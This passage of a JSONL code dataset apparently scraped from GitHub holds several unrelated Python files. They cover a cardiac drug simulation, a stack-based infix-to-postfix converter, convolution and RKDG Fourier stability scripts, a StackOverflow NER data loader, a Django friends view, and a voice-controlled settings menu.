h_ICaL=drug_dict[drug_type]['h_ICaL'],\n drug_INaL=drug_dict[drug_type]['drug_INaL'],\n IC50_INaL=drug_dict[drug_type]['IC50_INaL'],\n h_INaL=drug_dict[drug_type]['h_INaL'],\n drug_IKs=drug_dict[drug_type]['drug_IKs'],\n IC50_IKs=drug_dict[drug_type]['IC50_IKs'],\n h_IKs=drug_dict[drug_type]['h_IKs'],\n drug_Ito=drug_dict[drug_type]['drug_Ito'],\n IC50_Ito=drug_dict[drug_type]['IC50_Ito'],\n h_Ito=drug_dict[drug_type]['h_Ito'],\n drug_IK1=drug_dict[drug_type]['drug_IK1'],\n IC50_IK1=drug_dict[drug_type]['IC50_IK1'],\n h_IK1=drug_dict[drug_type]['h_IK1'],\n )\n\n for n in tqdm.tqdm(range(num_beats)):\n y = odeint(model.rhs, y0, tsteps, args=(parameters,))\n y0 = y[-1]\n \n population_drug.append(y0)\n \n np.save(f'init_pop_drug/population_{mech_type}_{hf_type}_{drug_type}_{part}.npy', population_drug, allow_pickle=True) \n\n\n\n\nif __name__ == \"__main__\":\n\n mech = sys.argv[1]\n hf = sys.argv[2]\n drug = sys.argv[3]\n partition = sys.argv[4]\n\n run_population_drug(mech_type=mech, hf_type=hf, drug_type=drug, part=partition)\n\n\n\n\n \n\n\n","repo_name":"abraaum/master_project","sub_path":"Python/population_drug.py","file_name":"population_drug.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32108855838","text":"class Stack:\n def __init__(self):\n self.stack = []\n\n def add(self, dataval):\n self.stack.append(dataval)\n # Use list append method to add element\n # if dataval not in self.stack:\n # self.stack.append(dataval)\n # return True\n # else:\n # return False\n # Use peek to look at the top of the stack\n\n def peek(self):\n return self.stack[-1]\n\n # look element all\n def __str__(self):\n return \"ข้อมูล : {} จำนวนข้อมูล : {}\".format(self.stack, len(self.stack))\n\n # remove element top\n def remove(self):\n if len(self.stack) <= 0:\n return (\"No element in the Stack\")\n else:\n return self.stack.pop()\n\n def lengghtStack(self):\n return len(self.stack)\nif __name__ == '__main__':\n \n stack = Stack()\n String = \"a-(b+c*d)/e\"\n postfix = \"\"\n # if 'a' in \"+-/%)*(\":\n # print(\"True\")\n # else:\n # print(\"False\")\n for ch in String:\n if ch not in \"+-/%)*(\":\n postfix += ch\n elif ch == '(':\n stack.add(ch)\n elif ch == ')':\n while stack.peek() != '(':\n postfix += stack.peek()\n stack.remove()\n stack.remove()\n else:\n stack.add(ch)\n while(stack.lengghtStack() != 0):\n postfix += stack.peek()\n stack.remove()\n print(postfix)\n\n","repo_name":"sekkarin/python-datastuctue-and-algorittm","sub_path":"Stack/Stack.py","file_name":"Stack.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"29665241076","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 24 00:15:32 2023\n\n@author: ken3\n\nIntrodution\n \n\"\"\"\n\nimport numpy as np\n\ndef convolve(x, h):\n \"\"\"\n Computes the convolution of two sequences x and h.\n \"\"\"\n N = len(x)\n M = len(h)\n y = np.zeros(N+M-1)\n for n in range(N+M-1):\n for k in range(max(0, n-M+1), min(N, n+1)):\n y[n] += x[k] * h[n-k]\n return y\n\nx = np.array([1, 2, 3])\nh = np.array([1, 1, 1])\ny = convolve(x, h)\nprint(y)","repo_name":"sou350121/probability-Statistics-Introduction-and-Visualization","sub_path":"convolution.py","file_name":"convolution.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"20394694079","text":"# Fourier stability analysis of RKDG scheme\nimport numpy as np\nfrom numpy.linalg import eigvals\nimport argparse\nfrom basis import *\n\n# Get arguments\nparser = argparse.ArgumentParser()\nparser.add_argument('-degree', type=int, help='Degree', required=True)\nparser.add_argument('-cfl_min', type=float, help='Min cfl', default=0.0)\nparser.add_argument('-cfl_max', type=float, help='Max cfl', default=1.0)\nparser.add_argument('-scheme',\n choices=('fe','ssprk22','ssprk33','ssprk43','ssprk54','rk4'),\n help='Time scheme', required=True)\nargs = parser.parse_args()\n\nk = args.degree # degree\nNq = k + 1 # number of quadrature points\nnd = k + 1 # number of dofs\n\n# QGauss position and weights\nxg, wg = np.polynomial.legendre.leggauss(Nq)\n\n# Construct Vandermonde matrix for gauss points\nVf = np.zeros((Nq,nd))\nVg = np.zeros((Nq,nd))\nfor i in range(Nq):\n for j in range(nd):\n Vf[i,j] = shape_value(j, xg[i])\n Vg[i,j] = shape_grad (j, xg[i])\n\n# Identity\nI = np.eye(nd)\n\ndef amplification_matrix(scheme, nu, C):\n if scheme == 'fe':\n H = I + nu*C\n elif scheme == 'ssprk22':\n G = I + nu*C\n H = 0.5*(I + G@G)\n elif scheme == 'ssprk33':\n G = I + nu*C\n H = (1.0/3.0)*I + (1.0/2.0)*G + (1.0/6.0)*(G@G@G)\n elif scheme == 'ssprk43':\n G = I + 0.5*nu*C\n H = (2.0/3.0)*G + (1.0/3.0)*G@G@G@G\n elif scheme == 'ssprk54':\n c11 = 0.391752226571890\n\n c21 = 0.444370493651235\n c22 = 1.0 - c21\n c23 = 0.368410593050371\n\n c31 = 0.620101851488403\n c32 = 1.0 - c31\n c33 = 0.251891774271694\n\n c41 = 0.178079954393132\n c42 = 1.0 - c41\n c43 = 0.544974750228521\n\n c51 = 0.517231671970585\n c52 = 0.096059710526147\n c53 = 1.0 - (c51 + c52)\n c54 = 0.063692468666290\n c55 = 0.226007483236906\n\n G1 = I + c11*nu*C\n G2 = c21*I + (c22*I + c23*nu*C) @ G1\n G3 = c31*I + (c32*I + c33*nu*C) @ G2\n G4 = c41*I + (c42*I + c43*nu*C) @ G3\n G5 = c52*I + c54*nu*C\n G6 = c53*I + c55*nu*C\n\n H = c51*G2 + G5@G3 + G6@G4\n elif scheme == 'rk4':\n G1 = nu*C\n G2 = G1 + 0.5*G1@G1\n G3 = G1 + 0.5*G1@G2\n G4 = G1 + G1@G3\n H = I + (1.0/6.0)*(G1+G4) + (1.0/3.0)*(G2+G3)\n else:\n print('Unknown time scheme')\n exit()\n return H\n\nM = np.zeros((nd,nd))\nA = np.zeros((nd,nd))\nBm= np.zeros((nd,nd))\nBp= np.zeros((nd,nd))\nfor i in range(nd):\n for j in range(nd):\n Bm[i,j] = shape_value(i,-1.0) * shape_value(j,+1.0)\n Bp[i,j] = shape_value(i,+1.0) * shape_value(j,+1.0)\n for q in range(Nq):\n M[i,j] += 0.5*Vf[q,i]*Vf[q,j]*wg[q]\n A[i,j] += Vg[q,i]*Vf[q,j]*wg[q]\n\nprint(\"M=\",M)\nprint(\"A=\",A)\n\nwavenums = np.linspace(0,2*np.pi,500)\ncfls = np.linspace(args.cfl_min,args.cfl_max,100)\nfor nu in cfls:\n maxeig = 0.0\n for kdx in wavenums:\n C = A + np.exp(-1j*kdx)*Bm - Bp\n H = amplification_matrix(args.scheme, nu, C)\n eig = np.abs(eigvals(H)).max()\n if eig > maxeig:\n maxeig = eig\n print(nu,maxeig)\n if maxeig - 1.0 > 1.0e-12:\n break\n","repo_name":"cpraveen/fem","sub_path":"dg1d/scalar/fourier.py","file_name":"fourier.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"68"}
+{"seq_id":"2667260520","text":"from __future__ import print_function, division\nimport os\nimport re\nimport codecs\nimport unicodedata\n\nimport model\nimport string\nimport random\nimport numpy as np\n\nimport utils_so as utils #JT: utils for SO\n\nfrom config_so import parameters\nnp.random.seed(parameters[\"seed\"])\n\n\nfrom utils_so import create_dico, create_mapping, zero_digits, Merge_Label\nfrom utils_so import iob2, iob_iobes\n\n\n\n\ndef unicodeToAscii(s):\n return ''.join(\n c for c in unicodedata.normalize('NFD', s)\n if unicodedata.category(c) != 'Mn'\n and c in string.ascii_letters + \" .,;'-\"\n )\n\n\ndef load_sentences_so(path, lower, zeros, merge_tag,set_of_selected_tags):\n \"\"\"\n Load sentences. A line must contain at least a word and its tag.\n Sentences are separated by empty lines.\n \"\"\"\n count_question=0\n count_answer=0\n\n if merge_tag:\n path=Merge_Label(path)\n sentences = [] #list of sentences\n\n sentence = [] #list of words in the current sentence in formate each word list looks like [word, markdow tag name, mark down tag, NER tag]\n max_len = 0\n for line in open(path):\n if line.startswith(\"Question_ID\"):\n count_question+=1\n\n if line.startswith(\"Answer_to_Question_ID\"):\n count_answer+=1\n\n if line.strip()==\"\":\n if len(sentence) > 0:\n #print(sentence)\n output_line = \" \".join(w[0] for w in sentence)\n #print(output_line)\n if \"code omitted for annotation\" in output_line and \"CODE_BLOCK :\" in output_line:\n sentence = []\n continue\n elif \"omitted for annotation\" in output_line and \"OP_BLOCK :\" in output_line:\n sentence = []\n continue\n elif \"Question_URL :\" in output_line:\n sentence = []\n continue\n elif \"Question_ID :\" in output_line:\n sentence = []\n continue\n else:\n #print(output_line)\n sentences.append(sentence)\n if len(sentence)>max_len:\n max_len=len(sentence)\n sentence=[]\n \n \n\n else:\n line_values=line.strip().split()\n\n gold_word=line_values[0]\n gold_label=line_values[1]\n raw_word=line_values[2]\n raw_label=line_values[3]\n\n \n\n gold_word=\" \".join(gold_word.split('-----'))\n \n\n\n gold_label_name= gold_label.replace(\"B-\",\"\").replace(\"I-\",\"\")\n if gold_label_name not in set_of_selected_tags:\n gold_label=\"O\"\n\n if parameters['segmentation_only']:\n if gold_label!=\"O\":\n # print(gold_label)\n gold_label_prefix=gold_label.split(\"-\")[0]\n gold_label=gold_label_prefix+\"-\"+\"Name\"\n # print(gold_label)\n # print(\"updated gold label\")\n\n \n\n \n raw_label_name=raw_label.replace(\"B-\",\"\").replace(\"I-\",\"\")\n \n word_info=[gold_word, raw_label_name, raw_label, gold_label]\n \n sentence.append(word_info)\n\n print(\"------------------------------------------------------------\")\n print(\"Number of questions in \", path, \" : \", count_question)\n print(\"Number of answers in \", path, \" : \", count_answer)\n print(\"Number of sentences in \", path, \" : \", len(sentences))\n print(\"Max len sentences has\", max_len, \"words\")\n print(\"------------------------------------------------------------\")\n return sentences\n \ndef load_sentences_so_w_pred(path_main_file, path_segmenter_pred_file, lower, zeros, merge_tag,set_of_selected_tags):\n \"\"\"\n Load sentences. A line must contain at least a word and its tag.\n Sentences are separated by empty lines.\n \"\"\"\n count_question=0\n count_answer=0\n max_len = 0\n\n if merge_tag:\n path=Merge_Label(path_main_file)\n sentences = [] #list of sentences\n\n sentence = [] #list of words in the current sentence in formate each word list looks like [word, markdow tag name, mark down tag, NER tag]\n\n for line in open(path):\n if line.startswith(\"Question_ID\"):\n count_question+=1\n\n if line.startswith(\"Answer_to_Question_ID\"):\n count_answer+=1\n\n if line.strip()==\"\":\n if len(sentence) > 0:\n #print(sentence)\n output_line = \" \".join(w[0] for w in sentence)\n #print(output_line)\n if \"code omitted for annotation\" in output_line and \"CODE_BLOCK :\" in output_line:\n sentence = []\n continue\n elif \"omitted for annotation\" in output_line and \"OP_BLOCK :\" in output_line:\n sentence = []\n continue\n elif \"Question_URL :\" in output_line:\n sentence = []\n continue\n elif \"Question_ID :\" in output_line:\n sentence = []\n continue\n else:\n #print(output_line)\n sentences.append(sentence)\n if len(sentence)>max_len:\n max_len=len(sentence)\n sentence=[]\n \n \n\n else:\n line_values=line.strip().split()\n\n gold_word=line_values[0]\n gold_label=line_values[1]\n raw_word=line_values[2]\n raw_label=line_values[3]\n\n \n\n gold_word=\" \".join(gold_word.split('-----'))\n \n\n\n gold_label_name= gold_label.replace(\"B-\",\"\").replace(\"I-\",\"\")\n if gold_label_name not in set_of_selected_tags:\n gold_label=\"O\"\n\n if parameters['segmentation_only']:\n if gold_label!=\"O\":\n # print(gold_label)\n gold_label_prefix=gold_label.split(\"-\")[0]\n gold_label=gold_label_prefix+\"-\"+\"Name\"\n # print(gold_label)\n # print(\"updated gold label\")\n\n \n\n \n raw_label_name=raw_label.replace(\"B-\",\"\").replace(\"I-\",\"\")\n \n word_info=[gold_word, raw_label_name, raw_label, gold_label]\n \n sentence.append(word_info)\n\n \n\n\n sentences_preds = []\n sentence_pred = []\n \n for line in open(path_segmenter_pred_file):\n if line.strip()==\"\":\n if len(sentence_pred) > 0:\n sentences_preds.append(sentence_pred)\n sentence_pred=[]\n else:\n line_values=line.strip().split()\n pred_word= ' '.join(line_values[:-2])\n pred_label=line_values[-1]\n\n word_info=[pred_word, pred_label]\n sentence_pred.append(word_info)\n\n # print(len(sentences_preds),len(sentences))\n\n \n\n\n\n pred_merged_sentences = []\n for sent_index in range(len(sentences)):\n main_sent = sentences[sent_index]\n pred_sent = sentences_preds[sent_index]\n \n\n new_sent = []\n new_word_info =[]\n\n for word_index in range(len(main_sent)):\n [gold_word, raw_label_name, raw_label, gold_label] = main_sent[word_index]\n [pred_word, pred_seg_label] = pred_sent[word_index]\n \n\n new_word_info = [gold_word, raw_label_name, raw_label, pred_seg_label, gold_label]\n new_sent.append(new_word_info)\n\n if len(new_sent)>0:\n pred_merged_sentences.append(new_sent)\n\n\n\n\n\n print(\"------------------------------------------------------------\")\n print(\"Number of questions in \", path, \" : \", count_question)\n print(\"Number of answers in \", path, \" : \", count_answer)\n print(\"Number of sentences in \", path, \" : \", len(sentences))\n print(\"Number of sentences after merging : \" , len(pred_merged_sentences))\n print(\"Max len sentences has\", max_len, \"words\")\n print(\"------------------------------------------------------------\")\n return pred_merged_sentences\n \n\n\ndef load_sentences_conll(path, lower, zeros):\n \"\"\"\n Load sentences. A line must contain at least a word and its tag.\n Sentences are separated by empty lines.\n \"\"\"\n sentences = []\n sentence = []\n for line in codecs.open(path, 'r', 'utf-8'):\n line = zero_digits(line.rstrip()) if zeros else line.rstrip()\n if not line:\n if len(sentence) > 0:\n if 'DOCSTART' not in sentence[0][0]:\n sentences.append(sentence)\n sentence = []\n else:\n word = line.split()\n assert len(word) >= 2\n sentence.append(word)\n if len(sentence) > 0:\n if 'DOCSTART' not in sentence[0][0]:\n sentences.append(sentence)\n return sentences\n\n\ndef update_tag_scheme(sentences, tag_scheme):\n \"\"\"\n Check and update sentences tagging scheme to IOB2.\n Only IOB1 and IOB2 schemes are accepted.\n \"\"\"\n\n for i, s in enumerate(sentences):\n tags = [w[-1] for w in s]\n #print(\"prev tags: \",tags)\n # Check that tags are given in the IOB format\n if not iob2(tags):\n s_str = '\\n'.join(' '.join(w) for w in s)\n raise Exception('Sentences should be given in IOB format! ' +\n 'Please check sentence %i:\\n%s' % (i, s_str))\n if tag_scheme == 'iob':\n # If format was IOB1, we convert to IOB2\n for word, new_tag in zip(s, tags):\n word[-1] = new_tag\n elif tag_scheme == 'iobes':\n new_tags = iob_iobes(tags)\n for word, new_tag in zip(s, new_tags):\n word[-1] = new_tag\n\n else:\n raise Exception('Unknown tagging scheme!')\n # tags = [w[-1] for w in s]\n # print(\"new tags: \",tags)\n\n\n\ndef word_mapping(sentences, lower):\n \"\"\"\n Create a dictionary and a mapping of words, sorted by frequency.\n \"\"\"\n words = [[x[0].lower() if lower else x[0] for x in s] for s in sentences]\n dico = create_dico(words) #dict with word frequency\n # print(dico)\n\n dico[''] = 10000001\n dico[''] = 10000000\n dico = {k:v for k,v in dico.items() if v>=3} #prune words which has occureced less than 3 times\n word_to_id, id_to_word = create_mapping(dico)\n\n print(\"Found %i unique words (%i in total)\" % (\n len(dico), sum(len(x) for x in words)\n ))\n\n return dico, word_to_id, id_to_word\n\n\ndef char_mapping(sentences):\n \"\"\"\n Create a dictionary and mapping of characters, sorted by frequency.\n \"\"\"\n chars = [\"\".join([w[0] for w in s]) for s in sentences]\n dico = create_dico(chars)\n dico[''] = 10000000\n # dico[';'] = 0\n char_to_id, id_to_char = create_mapping(dico)\n print(\"Found %i unique characters\" % len(dico))\n return dico, char_to_id, id_to_char\n\n\ndef tag_mapping(sentences):\n \"\"\"\n Create a dictionary and a mapping of tags, sorted by frequency.\n \"\"\"\n tags = [[word[-1] for word in s] for s in sentences]\n dico = create_dico(tags)\n dico[model.START_TAG] = -1\n dico[model.STOP_TAG] = -2\n tag_to_id, id_to_tag = create_mapping(dico)\n print(\"Found %i unique named entity tags\" % len(dico))\n # print(dico)\n return dico, tag_to_id, id_to_tag\n\ndef cap_feature(s):\n \"\"\"\n Capitalization feature:\n 0 = low caps\n 1 = all caps\n 2 = first letter caps\n 3 = one capital (not first letter)\n \"\"\"\n if s.lower() == s:\n return 0\n elif s.upper() == s:\n return 1\n elif s[0].upper() == s[0]:\n return 2\n else:\n return 3\n\n\ndef hand_features_to_idx(sentences):\n hand_to_idx = []\n count = 0\n for s in sentences:\n hand_to_idx.append(list(range(count, count + len(s))))\n count += len(s)\n\n return(hand_to_idx)\n\n\n\ndef prepare_sentence(str_words, word_to_id, char_to_id, lower=False):\n \"\"\"\n Prepare a sentence for evaluation.\n \"\"\"\n def f(x): return x.lower() if lower else x\n words = [word_to_id[f(w) if f(w) in word_to_id else '']\n for w in str_words]\n chars = [[char_to_id[c] for c in w if c in char_to_id]\n for w in str_words]\n caps = [cap_feature(w) for w in str_words]\n return {\n 'str_words': str_words,\n 'words': words,\n 'chars': chars,\n 'caps': caps\n }\n\ndef seg_pred_to_idx(sentence):\n # print(type(sentence))\n seg_pred_ids = []\n for word_iter in range(len(sentence)):\n word_info=sentence[word_iter]\n raw_label=word_info[-2]\n if raw_label[0]=='O':\n seg_pred_ids.append(0)\n else:\n seg_pred_ids.append(1)\n return seg_pred_ids\n\n\ndef seg_pred_to_idx_prev(sentence):\n \n seg_pred_ids = []\n for word_iter in range(len(sentence)):\n word_info=sentence[word_iter]\n pred_label=word_info[-1]\n\n if pred_label=='O':\n seg_pred_ids.append(0)\n else:\n seg_pred_ids.append(1)\n # elif pred_label.startswith(\"B\"):\n # code_pred_ids.append(1)\n # elif pred_label.startswith(\"I\"):\n # code_pred_ids.append(2)\n\n return seg_pred_ids\n\n\ndef ctc_pred_to_idx(sentence, ctc_pred_dict):\n \n ctc_pred_ids = []\n for word_iter in range(len(sentence)):\n word =sentence[word_iter][0]\n if word in ctc_pred_dict:\n ctc_pred_ids.append(int(ctc_pred_dict[word]))\n else:\n ctc_pred_ids.append(0)\n\n # print(ctc_pred_ids)\n return ctc_pred_ids\n\ndef ner_pred_to_idx(sentence, tag_to_id):\n \n ner_pred_ids = []\n for word_iter in range(len(sentence)):\n word_info=sentence[word_iter]\n pred_label=word_info[3]\n\n pred_label_id = tag_to_id[pred_label]\n ner_pred_ids.append(pred_label_id)\n\n return ner_pred_ids\n\n\ndef prepare_dataset(sentences, word_to_id, char_to_id, tag_to_id, ctc_pred_dict, lower=True):\n \"\"\"\n Prepare the dataset. Return a list of lists of dictionaries containing:\n - word indexes\n - word char indexes\n - tag indexes\n \"\"\"\n def f(x): return x.lower() if lower else x\n data = []\n hands = hand_features_to_idx(sentences)\n \n for i, s in enumerate(sentences):\n str_words = [w[0] for w in s]\n words = [word_to_id[f(w) if f(w) in word_to_id else '']\n for w in str_words]\n # Skip characters that are not in the training set\n chars = [[char_to_id[c] for c in w if c in char_to_id]\n for w in str_words]\n caps = [cap_feature(w) for w in str_words]\n tags = [tag_to_id[w[-1]] for w in s]\n hand = hands[i]\n seg_pred_ids=seg_pred_to_idx(s)\n # seg_pred_ids = seg_pred_to_idx(s)\n ctc_pred_ids = ctc_pred_to_idx(s, ctc_pred_dict)\n\n \n\n data.append({\n 'str_words': str_words,\n 'words': words,\n 'chars': chars,\n 'caps': caps,\n 'tags': tags,\n 'seg_pred': seg_pred_ids, #seg pred\n 'ctc_pred':ctc_pred_ids,\n 'handcrafted': hand\n })\n return data\n\n\ndef augment_with_pretrained(dictionary, ext_emb_path, words):\n \"\"\"\n Augment the dictionary with words that have a pretrained embedding.\n If `words` is None, we add every word that has a pretrained embedding\n to the dictionary, otherwise, we only add the words that are given by\n `words` (typically the words in the development and test sets.)\n \"\"\"\n print('Loading pretrained embeddings from %s...' % ext_emb_path)\n assert os.path.isfile(ext_emb_path)\n\n #Load pretrained embeddings from file\n pretrained = set([\n line.rstrip().split()[0].strip()\n for line in codecs.open(ext_emb_path, 'r', 'utf-8')\n if len(ext_emb_path) > 0\n ])\n\n pretrained = []\n for line in codecs.open(ext_emb_path, 'r', 'utf-8'):\n if len(ext_emb_path) > 0:\n try:\n pretrained.append(line.rstrip().split()[0].strip())\n except IndexError:\n continue\n pretrained = set(pretrained)\n for word in words:\n if word not in dictionary and any(x in pretrained for x in [word,word.lower(),re.sub('\\d', '0', word.lower())]):\n dictionary[word] = 0 #add the word from dev & test pretrained embedding with 0 freq\n\n # We either add every word in the pretrained file,\n # or only words given in the `words` list to which\n # we can assign a pretrained embedding\n\n #JT: commented_below : as adding all words from embedding throws CUDA runtime errors\n # if words is None:\n # for word in pretrained:\n # if word not in dictionary:\n # dictionary[word] = 0 #add the word from pretrained embedding with 0 freq\n # else:\n # for word in words:\n # if any(x in pretrained for x in [\n # word,\n # word.lower(),\n # re.sub('\\d', '0', word.lower())\n # ]) and word not in dictionary:\n # dictionary[word] = 0 #add the word from pretrained embedding with 0 freq\n\n word_to_id, id_to_word = create_mapping(dictionary)\n return dictionary, word_to_id, id_to_word\n\n\ndef pad_seq(seq, max_length, PAD_token=0):\n # add pads\n seq += [PAD_token for i in range(max_length - len(seq))]\n return seq\n\ndef get_batch(start, batch_size, datas, singletons=[]):\n input_seqs = []\n target_seqs = []\n chars2_seqs = []\n\n for data in datas[start:start+batch_size]:\n # pair is chosen from pairs randomly\n words = []\n for word in data['words']:\n if word in singletons and np.random.uniform() < 0.5:\n words.append(1)\n else:\n words.append(word)\n input_seqs.append(data['words'])\n target_seqs.append(data['tags'])\n chars2_seqs.append(data['chars'])\n\n if input_seqs == []:\n return [], [], [], [], [], []\n seq_pairs = sorted(zip(input_seqs, target_seqs, chars2_seqs), key=lambda p: len(p[0]), reverse=True)\n input_seqs, target_seqs, chars2_seqs = zip(*seq_pairs)\n\n chars2_seqs_lengths = []\n chars2_seqs_padded = []\n for chars2 in chars2_seqs:\n chars2_lengths = [len(c) for c in chars2]\n chars2_padded = [pad_seq(c, max(chars2_lengths)) for c in chars2]\n chars2_seqs_padded.append(chars2_padded)\n chars2_seqs_lengths.append(chars2_lengths)\n\n input_lengths = [len(s) for s in input_seqs]\n # input_padded is batch * max_length\n input_padded = [pad_seq(s, max(input_lengths)) for s in input_seqs]\n target_lengths = [len(s) for s in target_seqs]\n assert target_lengths == input_lengths\n # target_padded is batch * max_length\n target_padded = [pad_seq(s, max(target_lengths)) for s in target_seqs]\n\n # var is max_length * batch_size\n # input_var = Variable(torch.LongTensor(input_padded)).transpose(0, 1)\n # target_var = Variable(torch.LongTensor(target_padded)).transpose(0, 1)\n #\n # if use_gpu:\n # input_var = input_var.cuda()\n # target_var = target_var.cuda()\n\n return input_padded, input_lengths, target_padded, target_lengths, chars2_seqs_padded, chars2_seqs_lengths\n\n\ndef random_batch(batch_size, train_data, singletons=[]):\n input_seqs = []\n target_seqs = []\n chars2_seqs = []\n\n\n for i in range(batch_size):\n # pair is chosen from pairs randomly\n data = random.choice(train_data)\n words = []\n for word in data['words']:\n if word in singletons and np.random.uniform() < 0.5:\n words.append(1)\n else:\n words.append(word)\n input_seqs.append(data['words'])\n target_seqs.append(data['tags'])\n chars2_seqs.append(data['chars'])\n\n seq_pairs = sorted(zip(input_seqs, target_seqs, chars2_seqs), key=lambda p: len(p[0]), reverse=True)\n input_seqs, target_seqs, chars2_seqs = zip(*seq_pairs)\n\n chars2_seqs_lengths = []\n chars2_seqs_padded = []\n for chars2 in chars2_seqs:\n chars2_lengths = [len(c) for c in chars2]\n chars2_padded = [pad_seq(c, max(chars2_lengths)) for c in chars2]\n chars2_seqs_padded.append(chars2_padded)\n chars2_seqs_lengths.append(chars2_lengths)\n\n input_lengths = [len(s) for s in input_seqs]\n # input_padded is batch * max_length\n input_padded = [pad_seq(s, max(input_lengths)) for s in input_seqs]\n target_lengths = [len(s) for s in target_seqs]\n assert target_lengths == input_lengths\n # target_padded is batch * max_length\n target_padded = [pad_seq(s, max(target_lengths)) for s in target_seqs]\n\n # var is max_length * batch_size\n # input_var = Variable(torch.LongTensor(input_padded)).transpose(0, 1)\n # target_var = Variable(torch.LongTensor(target_padded)).transpose(0, 1)\n #\n # if use_gpu:\n # input_var = input_var.cuda()\n # target_var = target_var.cuda()\n\n return input_padded, input_lengths, target_padded, target_lengths, chars2_seqs_padded, chars2_seqs_lengths\n","repo_name":"jeniyat/StackOverflowNER","sub_path":"code/Attentive_BiLSTM/loader_so.py","file_name":"loader_so.py","file_ext":"py","file_size_in_byte":21229,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"68"}
+{"seq_id":"27062867758","text":"from django.shortcuts import render, redirect\nfrom friends.models import Friend\nfrom django.contrib.auth.models import User\n# Create your views here.\n\n\ndef change_friends(request, operation, pk):\n friend = User.objects.get(pk=pk)\n print (friend)\n if operation == 'add':\n friendship_one, created = Friend.objects.get_or_create(owner = request.user)\n friendship_one.users.add(friend)\n friendship_two, created = Friend.objects.get_or_create(owner = friend)\n friendship_two.users.add(request.user)\n\n elif operation == 'lose':\n friendship_one = Friend.objects.get(owner=request.user)\n friendship_one.users.remove(friend)\n if not friendship_one.users.exists():\n friendship_one.delete()\n friendship_two = Friend.objects.get(owner = friend)\n friendship_two.users.remove(request.user)\n if not friendship_two.users.exists():\n friendship_two.delete()\n\n return redirect('accounts:profile', pk)\n","repo_name":"naderae/BFF","sub_path":"friends/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"73667297496","text":"from vowel_recognition import *\nfrom import_json import *\nfrom emergency_detection_mode import *\n\ndef change_shortcut_sounds(dictionary):\n shortcut = input(\"Which shortcut do you want to change the shortcut sound for?\")\n if shortcut in dictionary:\n print(\"Say what you want the new shortcut sound to be?\")\n new_shortcut_sound = get_user_sounds(user_made_sounds).strip()\n shortcut_sound_in_use = is_shortcut_sound_in_use(dictionary, new_shortcut_sound)\n \n if shortcut_sound_in_use == \"not in use\":\n dictionary[shortcut] = new_shortcut_sound\n save_user_changes()\n else:\n print(\"This shortcut sound is already being used for \" + shortcut_sound_in_use + \".\")\n x = input(\"Would you like to overwrite this? y/n?\")\n if x == \"y\": \n dictionary[shortcut_sound_in_use] = \"none\"\n dictionary[shortcut] = new_shortcut_sound\n save_user_changes()\n else:\n print(\"Shortcut sound for \" + shortcut + \" has not changed.\")\n else:\n print(\"The shortcut you entered is not available in this mode.\")\n\ndef is_shortcut_sound_in_use(dictionary, sound):\n while True:\n try:\n shortcut_sound = list(dictionary.keys())[list(dictionary.values()).index(sound)]\n print(shortcut_sound[0])\n return shortcut_sound[0]\n except ValueError:\n return \"not in use\"\n\n\ndef new_user_sound(number): \n new_sound_name = input(\"Name new sound:\")\n train_sounds(new_sound_name, number)\n\ndef change_a_shortcut_sound():\n print(\"Which mode would you like to change the shortcut for?\")\n print(settings_dict[\"a\"] + \": Keyboard mode \\n\" + settings_dict[\"b\"]+ \": Mouse mode \\n\" + settings_dict[\"c\"]+ \": Hotkey Mode \\n\" + settings_dict[\"d\"] + \": Shortcuts for modes \\n\")\n sound_string = get_user_sounds(user_made_sounds) \n print(sound_string)\n x = trigger_shortcut(sound_string, settings_dict) \n if x == \"a\": \n change_shortcut_sounds(keyboard_dict)\n print(\"Your changes have been implemented.\")\n elif x == \"b\":\n change_shortcut_sounds(mouse_dict)\n print(\"Your changes have been implemented.\")\n elif x == \"c\":\n change_shortcut_sounds(hotkey_dict)\n print(\"Your changes have been implemented.\")\n elif x == \"d\": \n change_shortcut_sounds(mode_dict) \n print(\"Your changes have been implemented.\")\n else: \n print(\"Not an option. Please enter a, b, c or d.\")\n \n\ndef settings_mode(user_made_sounds = user_made_sounds):\n print(\"Settings Mode Started.\")\n mode_on = True\n while mode_on:\n print(\"What would you like to do? \\n\" + settings_dict[\"a\"]+ \": Change a shortcut sound. \\n\" + settings_dict[\"b\"]+ \": Create a custom sound \\n\" + settings_dict[\"c\"]+ \": Train default sounds \\n\" + settings_dict[\"d\"]+ \": Other settings. \\n\" + settings_dict[\"e\"]+ \": Reset to default settings. \\n\"+ settings_dict[\"g\"]+ \": Update emergency info \\n\" + settings_dict[\"f\"]+ \": Leave settings\")\n sound_string = get_user_sounds(user_made_sounds) \n print(sound_string)\n x = trigger_shortcut(sound_string, settings_dict)\n if x == \"a\":\n change_a_shortcut_sound()\n elif x == \"b\":\n new_user_sound(4)\n elif x == \"c\": \n print(\"Do you want to \\n\" + settings_dict[\"a\"]+ \": train default sounds from scratch \\n\" + settings_dict[\"b\"]+ \": add to the existing \")\n sound_string = get_user_sounds(user_made_sounds) \n print(sound_string)\n y = trigger_shortcut(sound_string, settings_dict)\n if y ==\"a\":\n user_made_sounds = {\"is_tutorial_complete\": \"False\", \"\": \"\", \" \": \"\", \"finishkeyboardmode\": \"finishkeyboardmode\", \"finishhotkeymode\": \"finishhotkeymode\", \"ah\": \"ah\", \"ay\": \"ay\", \"ee\": \"ee\"}\n train_default_sounds(4)\n elif y == \"b\": \n train_default_sounds(4)\n else:\n print(\"Not an option. Please enter a or b.\")\n save_user_changes()\n elif x == \"d\":\n print(\"Change \\n\" + settings_dict[\"a\"]+ \": Threshold (How loud the sound has to be) \\n\" + settings_dict[\"b\"]+ \": Length of silence (How long the silence in mouse mode before you have to say the direction) \")\n sound_string = get_user_sounds(user_made_sounds) \n print(sound_string)\n y = trigger_shortcut(sound_string, settings_dict)\n if y == \"a\":\n print(\"The current threshold is 